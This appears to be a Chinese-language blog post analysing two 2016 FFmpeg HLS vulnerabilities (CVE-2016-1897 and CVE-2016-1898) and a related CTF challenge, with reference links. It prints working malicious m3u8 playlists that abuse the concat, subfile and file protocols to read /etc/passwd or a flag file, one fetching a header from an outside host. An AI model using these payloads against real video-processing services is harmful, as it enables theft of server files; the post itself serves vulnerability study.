详情来源 :[ffmpeg SSRF漏洞分析](http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
ffmpeg得反应很快,1月16日就发布了修复版本。

### 漏洞影响
如果ffmpeg解析了一个恶意的文件,会导致本地的文件信息泄露。受影响的出了ctf中这个在线视频格式转换的服务外,如果是采用ffmpeg了客户端如果可以输入恶意文件也会造成本地文件信息泄露。
### 漏洞分析
change log中提到了两个CVE CVE-2016-1897和CVE-2016-1898。
#### CVE-2016-1897
FFmpeg 2.x版本允许攻击者通过服务器端请求伪造(SSRF:Server-Side Request Forgery) 恶意远程窃取服务器端本地文件,由于ffmpeg的hls没有进行对file域协议进行有效限制,导致攻击者可通过构造hls切片索引文件以及ffmpeg对concat的支持(https://www.ffmpeg.org/ffmpeg-protocols.html#concat )来恶意远程窃取服务器端本地文件/etc/passwd,所构造的恶意视频文件如下所示:
```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
```
#### CVE-2016-1898
FFmpeg 2.x版本允许攻击者通过服务器端请求伪造(SSRF:Server-Side Request Forgery) 恶意远程窃取服务器端本地文件,由于ffmpeg的hls没有进行对file域协议进行有效限制,导致攻击者可通过构造hls切片索引文件以及ffmpeg对subfile的支持(https://www.ffmpeg.org/ffmpeg-protocols.html#subfile )来恶意远程窃取服务器端本地文件/etc/passwd,所构造的恶意视频文件如下所示:
```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST
```
### CTF
比较有意思的是查资料的过程中发现了这篇文章9447 CTF 2015: Super Turbo Atomic GIF Converter
可以看到以下几个方式可以读取文件:
```
#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1,
/home/ctf/flag.txt
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:1
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///home/ctf/flag.txt
#EXT-X-ENDLIST
```
以及这里cve的concat方式。利用0day做ctf也是高端。
### 参考资料
* [通过 ffmpeg 的播放列表实现 SSRF 以及窃取文件](http://habrahabr.ru/company/mailru/blog/274855/)
* http://seclists.org/oss-sec/2016/q1/85
* http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1897
* https://www.ffmpeg.org/ffmpeg-protocols.html#concat
* https://www.ffmpeg.org/ffmpeg-protocols.html#subfile
* https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/web/super-turbo-atomic-gif-converter
* http://www.kernelpicnic.net/2015/11/29/9447CTF-Super-Turbo-Atomic-GIF-Converter-Write-Up.html
* https://github.com/pwning/public-writeup/tree/master/9447ctf2015/web180-gif-converter
* http://pastebin.com/FrsQinQz
* https://gist.github.com/Invizory/e45e1ee54cf0687f2002
暂无评论